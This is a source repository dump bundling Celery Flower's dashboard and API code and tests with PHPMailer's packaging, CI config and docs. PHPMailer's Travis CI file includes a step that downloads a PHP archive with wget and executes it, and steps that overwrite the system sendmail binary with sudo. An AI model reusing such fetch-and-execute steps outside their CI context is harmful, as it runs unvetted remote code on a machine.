''.join(map(lambda x: x[0].upper() + x[1:], eventname.split('-'))) 26 | 27 | 28 | # Dynamically generates handler classes 29 | thismodule = sys.modules[__name__] 30 | for event in EVENTS: 31 | classname = getClassName(event) 32 | setattr(thismodule, classname, 33 | type(classname, (EventsApiHandler, ), {'listeners': []})) 34 | 35 | 36 | __all__ = list(map(getClassName, EVENTS)) 37 | __all__.append(getClassName) 38 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/api/workers.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from tornado import web 4 | 5 | from ..models import WorkersModel 6 | from ..views import BaseHandler 7 | 8 | 9 | class ListWorkers(BaseHandler): 10 | @web.authenticated 11 | def get(self): 12 | """ 13 | List workers 14 | 15 | **Example request**: 16 | 17 | .. sourcecode:: http 18 | 19 | GET /api/workers HTTP/1.1 20 | Host: localhost:5555 21 | 22 | **Example response**: 23 | 24 | .. sourcecode:: http 25 | 26 | HTTP/1.1 200 OK 27 | Content-Length: 119 28 | Content-Type: application/json; charset=UTF-8 29 | 30 | { 31 | "celery@worker1": { 32 | "completed_tasks": 0, 33 | "concurrency": 4, 34 | "queues": [ 35 | "celery" 36 | ], 37 | "running_tasks": 0, 38 | "status": true 39 | }, 40 | "celery@worker2": { 41 | "completed_tasks": 0, 42 | "concurrency": 4, 43 | "queues": [], 44 | "running_tasks": 0, 45 | "status": false 46 | } 47 | } 48 | 49 | :reqheader Authorization: optional OAuth token to authenticate 50 | :statuscode 200: no error 51 | :statuscode 401: unauthorized request 52 | """ 53 | app = self.application 54 | self.write(WorkersModel.get_latest(app).workers) 55 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/settings.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from os.path import join, abspath, dirname 4 | 5 | from .utils import gen_cookie_secret 6 | 7 | 8 | PROJECT_ROOT = abspath(dirname(__file__)) 9 | 10 | APP_SETTINGS = dict( 11 | template_path=join(PROJECT_ROOT, "templates"), 12 | static_path=join(PROJECT_ROOT, "static"), 13 | cookie_secret=gen_cookie_secret(), 14 | login_url='/login', 15 | ) 16 | 17 | URL_PREFIX = '' 18 | PAGE_UPDATE_INTERVAL = 2000 19 | AUTO_REFRESH = True 20 | CELERY_EVENTS_ENABLE_INTERVAL = 5000 21 | CELERY_INSPECT_TIMEOUT = 1000 22 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/static/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/static/favicon.ico -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/static/img/apple-touch-icon-114-precomposed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/static/img/apple-touch-icon-114-precomposed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/static/img/apple-touch-icon-144-precomposed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/static/img/apple-touch-icon-144-precomposed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/static/img/apple-touch-icon-57-precomposed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/static/img/apple-touch-icon-57-precomposed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/static/img/apple-touch-icon-72-precomposed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/static/img/apple-touch-icon-72-precomposed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/static/img/glyphicons-halflings-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/static/img/glyphicons-halflings-white.png -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/static/img/glyphicons-halflings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/static/img/glyphicons-halflings.png -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/templates/404.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block container %} 4 |
5 |

6 | {% if message %} 7 | {{ message }} 8 | {% else %} 9 | Error, page not found 10 | {% end %} 11 |

12 |

13 | {% end %} 14 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/templates/broker.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block navbar %} 4 | {% module Template("navbar.html", active_tab="broker", absolute_url=absolute_url) %} 5 | {% end %} 6 | 7 | {% block container %} 8 |
9 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | {% for queue in broker.queues %} 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | {% end %} 36 | 37 |
Queues
NameMessagesUnackedReadyConsumersIdle since
{{ queue['name'] }}{{ queue.get('messages', 'N/A') }}{{ queue.get('messages_unacknowledged', 'N/A') }}{{ queue.get('messages_ready', 'N/A') }}{{ queue.get('consumers', 'N/A') }}{{ queue.get('idle_since', 'N/A') }}
38 | 39 |
40 | {% end %} 41 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/templates/error.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block container %} 4 |
5 |

It looks like you have found a bug! You can help to improve 6 | Celery Flower by opening an issue in https://github.com/mher/flower/issues 7 |

8 |
 9 | {{ bugreport }}
10 | 
11 | {{ error_trace }}
12 |         
13 |
14 | {% end %} 15 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/templates/navbar.html: -------------------------------------------------------------------------------- 1 | 23 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/utils/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/utils/.DS_Store -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/utils/._.DS_Store: -------------------------------------------------------------------------------- 1 | Mac OS X  2Fx ATTRxx -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/utils/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import base64 4 | import uuid 5 | 6 | from .. import __version__ 7 | 8 | 9 | def gen_cookie_secret(): 10 | return base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes) 11 | 12 | 13 | def bugreport(): 14 | try: 15 | import celery 16 | return 'flower -> %s' % __version__ + celery.bugreport() 17 | except (ImportError, AttributeError): 18 | return 'Unknown Celery version' 19 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/utils/template.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import re 4 | import sys 5 | 6 | PY2 = sys.version_info[0] == 2 7 | if not PY2: 8 | text_type = str 9 | string_types = (str,) 10 | else: 11 | text_type = unicode 12 | string_types = (str, unicode) 13 | 14 | from datetime import datetime 15 | 16 | KEYWORDS_UP = ('ssl', 'uri', 'url', 'uuid', 'eta') 17 | KEYWORDS_DOWN = ('args', 'kwargs') 18 | UUID_REGEX = re.compile(r'^[\w]{8}(-[\w]{4}){3}-[\w]{12}$') 19 | 20 | 21 | def format_time(time): 22 | dt = datetime.fromtimestamp(time) 23 | return '%s.%s' % ( 24 | dt.strftime("%Y-%m-%d %H:%M:%S"), dt.microsecond) 25 | 26 | 27 | def humanize(obj, type=None, length=None): 28 | if obj is None: 29 | obj = '' 30 | elif type == 'time': 31 | obj = format_time(float(obj)) if obj else '-' 32 | elif isinstance(obj, string_types) and not re.match(UUID_REGEX, obj): 33 | obj = obj.replace('-', ' ').replace('_', ' ') 34 | obj = re.sub('|'.join(KEYWORDS_UP), 35 | lambda m: m.group(0).upper(), obj) 36 | if obj and obj not in KEYWORDS_DOWN: 37 | obj = obj[0].upper() + obj[1:] 38 | elif isinstance(obj, list): 39 | if all(isinstance(x, (int, float) + string_types) for x in obj): 40 | obj = ', '.join(map(str, obj)) 41 | if length is not None and len(obj) > length: 42 | obj = obj[:length - 4] + ' ...' 43 | return obj 44 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/views/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/views/.DS_Store -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/views/._.DS_Store: -------------------------------------------------------------------------------- 1 | Mac OS X  2Fx ATTRxx -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/views/broker.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from tornado import web 4 | 5 | from ..views import BaseHandler 6 | from ..models import BrokerModel 7 | 8 | 9 | class BrokerView(BaseHandler): 10 | @web.authenticated 11 | def get(self): 12 | broker = BrokerModel(self.application) 13 | self.render("broker.html", broker=broker) 14 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/views/error.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import tornado.web 4 | 5 | from ..views import BaseHandler 6 | 7 | 8 | class NotFoundErrorHandler(BaseHandler): 9 | def get(self): 10 | raise tornado.web.HTTPError(404) 11 | 12 | def post(self): 13 | raise tornado.web.HTTPError(404) 14 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/views/tasks.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import celery 4 | 5 | from tornado import web 6 | 7 | from ..views import BaseHandler 8 | from ..models import TaskModel, WorkersModel 9 | 10 | 11 | class TaskView(BaseHandler): 12 | @web.authenticated 13 | def get(self, task_id): 14 | task = TaskModel.get_task_by_id(self.application, task_id) 15 | if task is None: 16 | raise web.HTTPError(404, "Unknown task '%s'" % task_id) 17 | 18 | self.render("task.html", task=task) 19 | 20 | 21 | class TasksView(BaseHandler): 22 | @web.authenticated 23 | def get(self): 24 | app = self.application 25 | limit = self.get_argument('limit', default=None, type=int) 26 | worker = self.get_argument('worker', None) 27 | type = self.get_argument('type', None) 28 | state = self.get_argument('state', None) 29 | 30 | worker = worker if worker != 'All' else None 31 | type = type if type != 'All' else None 32 | state = state if state != 'All' else None 33 | 34 | tasks = TaskModel.iter_tasks(app, limit=limit, type=type, 35 | worker=worker, state=state) 36 | workers = WorkersModel.get_workers(app) 37 | seen_task_types = TaskModel.seen_task_types(app) 38 | 39 | self.render("tasks.html", tasks=tasks, 40 | task_types=seen_task_types, 41 | all_states=celery.states.ALL_STATES, 42 | workers=workers, 43 | limit=limit, 44 | worker=worker, 45 | type=type, 46 | state=state) 47 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/views/update.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import logging 4 | 5 | from functools import partial 6 | from pprint import pformat 7 | 8 | from tornado import websocket 9 | from tornado.ioloop import PeriodicCallback 10 | 11 | from . import settings 12 | from ..models import WorkersModel 13 | 14 | 15 | logger = logging.getLogger(__name__) 16 | 17 | 18 | class UpdateWorkers(websocket.WebSocketHandler): 19 | listeners = [] 20 | periodic_callback = None 21 | workers = None 22 | 23 | def open(self): 24 | if not settings.AUTO_REFRESH: 25 | self.write_message({}) 26 | return 27 | 28 | app = self.application 29 | 30 | if not self.listeners: 31 | logger.debug('Starting a timer for dashboard updates') 32 | periodic_callback = self.periodic_callback or PeriodicCallback( 33 | partial(UpdateWorkers.on_update_time, app), 34 | settings.PAGE_UPDATE_INTERVAL) 35 | if not periodic_callback._running: 36 | periodic_callback.start() 37 | self.listeners.append(self) 38 | 39 | def on_message(self, message): 40 | pass 41 | 42 | def on_close(self): 43 | if self in self.listeners: 44 | self.listeners.remove(self) 45 | if not self.listeners and self.periodic_callback: 46 | logger.debug('Stopping dashboard updates timer') 47 | self.periodic_callback.stop() 48 | 49 | @classmethod 50 | def on_update_time(cls, app): 51 | workers = WorkersModel.get_latest(app) 52 | changes = workers.workers 53 | 54 | if workers != cls.workers and changes: 55 | logger.debug('Sending dashboard updates: %s', pformat(changes)) 56 | for l in cls.listeners: 57 | l.write_message(changes) 58 | cls.workers = workers 59 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/views/workers.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from tornado import web 4 | 5 | from ..views import BaseHandler 6 | from ..models import WorkersModel, WorkerModel 7 | 8 | 9 | class WorkersView(BaseHandler): 10 | @web.authenticated 11 | def get(self): 12 | app = self.application 13 | workers = WorkersModel.get_latest(app).workers 14 | broker = app.celery_app.connection().as_uri() 15 | 16 | self.render("workers.html", workers=workers, broker=broker) 17 | 18 | 19 | class WorkerView(BaseHandler): 20 | @web.authenticated 21 | def get(self, workername): 22 | app = self.application 23 | worker = WorkerModel.get_worker(app, workername) 24 | if worker is None: 25 | raise web.HTTPError(404, "Unknown worker '%s'" % workername) 26 | 27 | self.render("worker.html", worker=worker) 28 | -------------------------------------------------------------------------------- /src/flower-0.7.3/setup.cfg: -------------------------------------------------------------------------------- 1 | [egg_info] 2 | tag_build = 3 | tag_date = 0 4 | tag_svn_revision = 0 5 | 6 | -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/__init__.py: -------------------------------------------------------------------------------- 1 | try: 2 | from urllib.parse import urlencode 3 | except ImportError: 4 | from urllib import urlencode 5 | 6 | import tornado.testing 7 | 8 | import celery 9 | 10 | from flower.app import Flower 11 | from flower.urls import handlers 12 | from flower.events import Events 13 | from flower.state import State 14 | from flower.settings import APP_SETTINGS 15 | 16 | 17 | class AsyncHTTPTestCase(tornado.testing.AsyncHTTPTestCase): 18 | def get_app(self, celery_app=None, events=None, state=None): 19 | celery_app = celery_app or celery.Celery() 20 | events = events or Events(celery_app) 21 | state = state or State(celery_app) 22 | self.app = Flower(celery_app=celery_app, events=events, 23 | state=state, handlers=handlers, **APP_SETTINGS) 24 | return self.app 25 | 26 | def get(self, url, **kwargs): 27 | return self.fetch(url, **kwargs) 28 | 29 | def post(self, url, **kwargs): 30 | if 'body' in kwargs and isinstance(kwargs['body'], dict): 31 | kwargs['body'] = urlencode(kwargs['body']) 32 | return self.fetch(url, method='POST', **kwargs) 33 | -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/__init__.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/__main__.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import tornado.testing 3 | 4 | from glob import glob 5 | 6 | 7 | def all(): 8 | test_modules = list(map(lambda x: x.rstrip('.py').replace('/', '.'), 9 | glob('tests/**/*.py'))) 10 | return unittest.defaultTestLoader.loadTestsFromNames(test_modules) 11 | 12 | 13 | if __name__ == "__main__": 14 | tornado.testing.main() 15 | -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/api/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/api/__init__.py -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/api/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/api/__init__.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/api/test_control.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/api/test_control.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/api/test_events.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/api/test_events.py -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/api/test_events.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/api/test_events.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/utils/__init__.py -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/utils/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/utils/__init__.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/utils/test_broker.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/utils/test_broker.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/utils/test_template.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/utils/test_template.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/views/__init__.py -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/views/__init__.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_auth.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from tests import AsyncHTTPTestCase 3 | 4 | 5 | class AuthTests(AsyncHTTPTestCase): 6 | def get_app(self, celery_app=None, events=None, state=None): 7 | super(AuthTests, self).get_app(celery_app, events, state) 8 | self.app.basic_auth = "hello:world" 9 | return self.app 10 | 11 | def test_auth_without_credentials(self): 12 | r = self.get('/') 13 | self.assertEqual(401, r.code) 14 | 15 | def test_auth_with_bad_credentials(self): 16 | credentials = base64.b64encode("not:good".encode()).decode() 17 | r = self.get('/', headers={"Authorization": "Basic " + credentials}) 18 | self.assertEqual(401, r.code) 19 | 20 | def test_auth_with_good_credentials(self): 21 | credentials = base64.b64encode("hello:world".encode()).decode() 22 | r = self.get('/', headers={"Authorization": "Basic " + credentials}) 23 | self.assertEqual(200, r.code) 24 | -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_auth.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/views/test_auth.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_dashboard.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/views/test_dashboard.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_error.py: -------------------------------------------------------------------------------- 1 | from tests import AsyncHTTPTestCase 2 | 3 | 4 | class ErrorTests(AsyncHTTPTestCase): 5 | def test_404(self): 6 | r = self.get('/unknown') 7 | self.assertEqual(404, r.code) 8 | -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_error.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/views/test_error.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_monitor.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | from tests import AsyncHTTPTestCase 4 | 5 | 6 | class MonitorTest(AsyncHTTPTestCase): 7 | def test_monitor_page(self): 8 | r = self.get('/monitor') 9 | self.assertEqual(200, r.code) 10 | self.assertTrue('Succeeded tasks' in str(r.body)) 11 | self.assertTrue('Failed tasks' in str(r.body)) 12 | 13 | def test_monitor_succeeded_tasks(self): 14 | r = self.get('/monitor/succeeded-tasks?lastquery=%s' % time.time()) 15 | self.assertEqual(200, r.code) 16 | 17 | def test_monitor_completion_time(self): 18 | r = self.get('/monitor/completion-time?lastquery=%s' % time.time()) 19 | self.assertEqual(200, r.code) 20 | 21 | def test_monitor_failed_tasks(self): 22 | r = self.get('/monitor/failed-tasks?lastquery=%s' % time.time()) 23 | self.assertEqual(200, r.code) 24 | -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_monitor.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/views/test_monitor.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_tasks.py: -------------------------------------------------------------------------------- 1 | from tests import AsyncHTTPTestCase 2 | 3 | 4 | class TaskTest(AsyncHTTPTestCase): 5 | def test_task_page(self): 6 | r = self.get('/tasks') 7 | self.assertEqual(200, r.code) 8 | self.assertTrue('Seen task types' in str(r.body)) 9 | 10 | def test_unknown_task(self): 11 | r = self.get('/task/unknown') 12 | self.assertEqual(404, r.code) 13 | self.assertTrue('Unknown task' in str(r.body)) 14 | -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_tasks.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/tests/views/test_tasks.pyc -------------------------------------------------------------------------------- /src/flower-0.7.3/tests/views/test_workers.py: -------------------------------------------------------------------------------- 1 | from tests import AsyncHTTPTestCase 2 | 3 | 4 | class WorkerTests(AsyncHTTPTestCase): 5 | def test_workers_page(self): 6 | r = self.get('/workers') 7 | self.assertEqual(200, r.code) 8 | self.assertTrue('Broker' in str(r.body)) 9 | 10 | def test_unknown_worker(self): 11 | r = self.get('/worker/unknown') 12 | self.assertEqual(404, r.code) 13 | self.assertTrue('Unknown worker' in str(r.body)) 14 | -------------------------------------------------------------------------------- /src/flower.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower.tar.gz -------------------------------------------------------------------------------- /test.py: -------------------------------------------------------------------------------- 1 | from util.secmail import * 2 | 3 | -------------------------------------------------------------------------------- /test/name.py: -------------------------------------------------------------------------------- 1 | class Test: 2 | def __init__(self): 3 | pass 4 | 5 | def test(self): 6 | print __name__ 7 | 8 | test = Test() 9 | print test.test() 10 | -------------------------------------------------------------------------------- /util/PHPMailer/.gitignore: -------------------------------------------------------------------------------- 1 | docs/phpdoc/ 2 | test/message.txt 3 | test/testbootstrap.php 4 | test/*.pem 5 | .idea 6 | build/ 7 | vendor/ 8 | -------------------------------------------------------------------------------- /util/PHPMailer/.travis.yml: -------------------------------------------------------------------------------- 1 | language: php 2 | php: 3 | - 7.0 4 | - 5.6 5 | - 5.5 6 | - 5.4 7 | - 5.3 8 | - hhvm 9 | 10 | matrix: 11 | allow_failures: 12 | - php: hhvm 13 | 14 | before_install: 15 | - sudo apt-get update -qq 16 | - sudo apt-get install -y -qq postfix 17 | before_script: 18 | - sudo service postfix stop 19 | - smtp-sink -d "%d.%H.%M.%S" localhost:2500 1000 & 20 | - mkdir -p build/logs 21 | - cd test 22 | - cp testbootstrap-dist.php testbootstrap.php 23 | - chmod +x fakesendmail.sh 24 | - sudo mkdir -p /var/qmail/bin 25 | - sudo cp fakesendmail.sh /var/qmail/bin/sendmail 26 | - sudo cp fakesendmail.sh /usr/sbin/sendmail 27 | - echo 'sendmail_path = "/usr/sbin/sendmail -t -i "' > $(php --ini|grep -m 1 "ini files in:"|cut -d ":" -f 2)/sendmail.ini 28 | script: 29 | - phpunit --configuration ../travis.phpunit.xml.dist 30 | after_script: 31 | - wget https://scrutinizer-ci.com/ocular.phar 32 | - php ocular.phar code-coverage:upload --format=php-clover ../build/logs/clover.xml 33 | -------------------------------------------------------------------------------- /util/PHPMailer/PHPMailerAutoload.php: -------------------------------------------------------------------------------- 1 | 8 | * @author Jim Jagielski (jimjag) 9 | * @author Andy Prevost (codeworxtech) 10 | * @author Brent R. Matzelle (original founder) 11 | * @copyright 2012 - 2014 Marcus Bointon 12 | * @copyright 2010 - 2012 Jim Jagielski 13 | * @copyright 2004 - 2009 Andy Prevost 14 | * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License 15 | * @note This program is distributed in the hope that it will be useful - WITHOUT 16 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or 17 | * FITNESS FOR A PARTICULAR PURPOSE. 18 | */ 19 | 20 | /** 21 | * PHPMailer SPL autoloader. 22 | * @param string $classname The name of the class to load 23 | */ 24 | function PHPMailerAutoload($classname) 25 | { 26 | //Can't use __DIR__ as it's only in PHP 5.3+ 27 | $filename = dirname(__FILE__).DIRECTORY_SEPARATOR.'class.'.strtolower($classname).'.php'; 28 | if (is_readable($filename)) { 29 | require $filename; 30 | } 31 | } 32 | 33 | if (version_compare(PHP_VERSION, '5.1.2', '>=')) { 34 | //SPL autoloading was introduced in PHP 5.1.2 35 | if (version_compare(PHP_VERSION, '5.3.0', '>=')) { 36 | spl_autoload_register('PHPMailerAutoload', true, true); 37 | } else { 38 | spl_autoload_register('PHPMailerAutoload'); 39 | } 40 | } else { 41 | /** 42 | * Fall back to traditional autoload for old PHP versions 43 | * @param string $classname The name of the class to load 44 | */ 45 | function __autoload($classname) 46 | { 47 | PHPMailerAutoload($classname); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /util/PHPMailer/VERSION: -------------------------------------------------------------------------------- 1 | 5.2.13 -------------------------------------------------------------------------------- /util/PHPMailer/composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "phpmailer/phpmailer", 3 | "type": "library", 4 | "description": "PHPMailer is a full-featured email creation and transfer class for PHP", 5 | "authors": [ 6 | { 7 | "name": "Marcus Bointon", 8 | "email": "phpmailer@synchromedia.co.uk" 9 | }, 10 | { 11 | "name": "Jim Jagielski", 12 | "email": "jimjag@gmail.com" 13 | }, 14 | { 15 | "name": "Andy Prevost", 16 | "email": "codeworxtech@users.sourceforge.net" 17 | }, 18 | { 19 | "name": "Brent R. Matzelle" 20 | } 21 | ], 22 | "require": { 23 | "php": ">=5.0.0" 24 | }, 25 | "require-dev": { 26 | "phpdocumentor/phpdocumentor": "*", 27 | "phpunit/phpunit": "4.7.*" 28 | }, 29 | "suggest": { 30 | "league/oauth2-client": "Needed for Gmail's XOAUTH2 authentication system" 31 | }, 32 | "autoload": { 33 | "classmap": [ 34 | "class.phpmailer.php", 35 | "class.phpmaileroauth.php", 36 | "class.phpmaileroauthgoogle.php", 37 | "class.smtp.php", 38 | "class.pop3.php", 39 | "extras/EasyPeasyICS.php", 40 | "extras/ntlm_sasl_client.php" 41 | ] 42 | }, 43 | "license": "LGPL-2.1" 44 | } -------------------------------------------------------------------------------- /util/PHPMailer/docs/Callback_function_notes.txt: -------------------------------------------------------------------------------- 1 | NEW CALLBACK FUNCTION: 2 | ====================== 3 | 4 | We have had requests for a method to process the results of sending emails 5 | through PHPMailer. In this new release, we have implemented a callback 6 | function that passes the results of each email sent (to, cc, and/or bcc). 7 | We have provided an example that echos the results back to the screen. The 8 | callback function can be used for any purpose. With minor modifications, the 9 | callback function can be used to create CSV logs, post results to databases, 10 | etc. 11 | 12 | Please review the test.php script for the example. 13 | 14 | It's pretty straight forward. 15 | 16 | Enjoy! 17 | Andy 18 | -------------------------------------------------------------------------------- /util/PHPMailer/docs/Note_for_SMTP_debugging.txt: -------------------------------------------------------------------------------- 1 | If you are having problems connecting or sending emails through your SMTP server, the SMTP class can provide more information about the processing/errors taking place. 2 | Use the debug functionality of the class to see what's going on in your connections. To do that, set the debug level in your script. For example: 3 | 4 | $mail->SMTPDebug = 1; 5 | $mail->isSMTP(); // telling the class to use SMTP 6 | $mail->SMTPAuth = true; // enable SMTP authentication 7 | $mail->Port = 26; // set the SMTP port 8 | $mail->Host = "mail.yourhost.com"; // SMTP server 9 | $mail->Username = "name@yourhost.com"; // SMTP account username 10 | $mail->Password = "your password"; // SMTP account password 11 | 12 | Notes on this: 13 | $mail->SMTPDebug = 0; ... will disable debugging (you can also leave this out completely, 0 is the default) 14 | $mail->SMTPDebug = 1; ... will echo errors and server responses 15 | $mail->SMTPDebug = 2; ... will echo errors, server responses and client messages 16 | 17 | And finally, don't forget to disable debugging before going into production. 18 | -------------------------------------------------------------------------------- /util/PHPMailer/docs/faq.html: -------------------------------------------------------------------------------- 1 |  2 | 3 | PHPMailer FAQ 4 | 5 | 6 |

PHPMailer FAQ

7 |
    8 |
  • Q: I am concerned that using include files will take up too much 9 | processing time on my computer. How can I make it run faster?
    10 | A: PHP by itself is fairly fast, but it recompiles scripts every time they are run, which takes up valuable 11 | computer resources. You can bypass this by using an opcode cache which compiles 12 | PHP code and store it in memory to reduce overhead immensely. APC 13 | (Alternative PHP Cache) is a free opcode cache extension in the PECL library.
  • 14 |
  • Q: Which mailer gives me the best performance?
    15 | A: On a single machine the sendmail (or Qmail) is fastest overall. 16 | Next fastest is mail() to give you the best performance. Both do not have the overhead of SMTP. 17 | If you do not have a local mail server (as is typical on Windows), SMTP is your only option.
  • 18 |
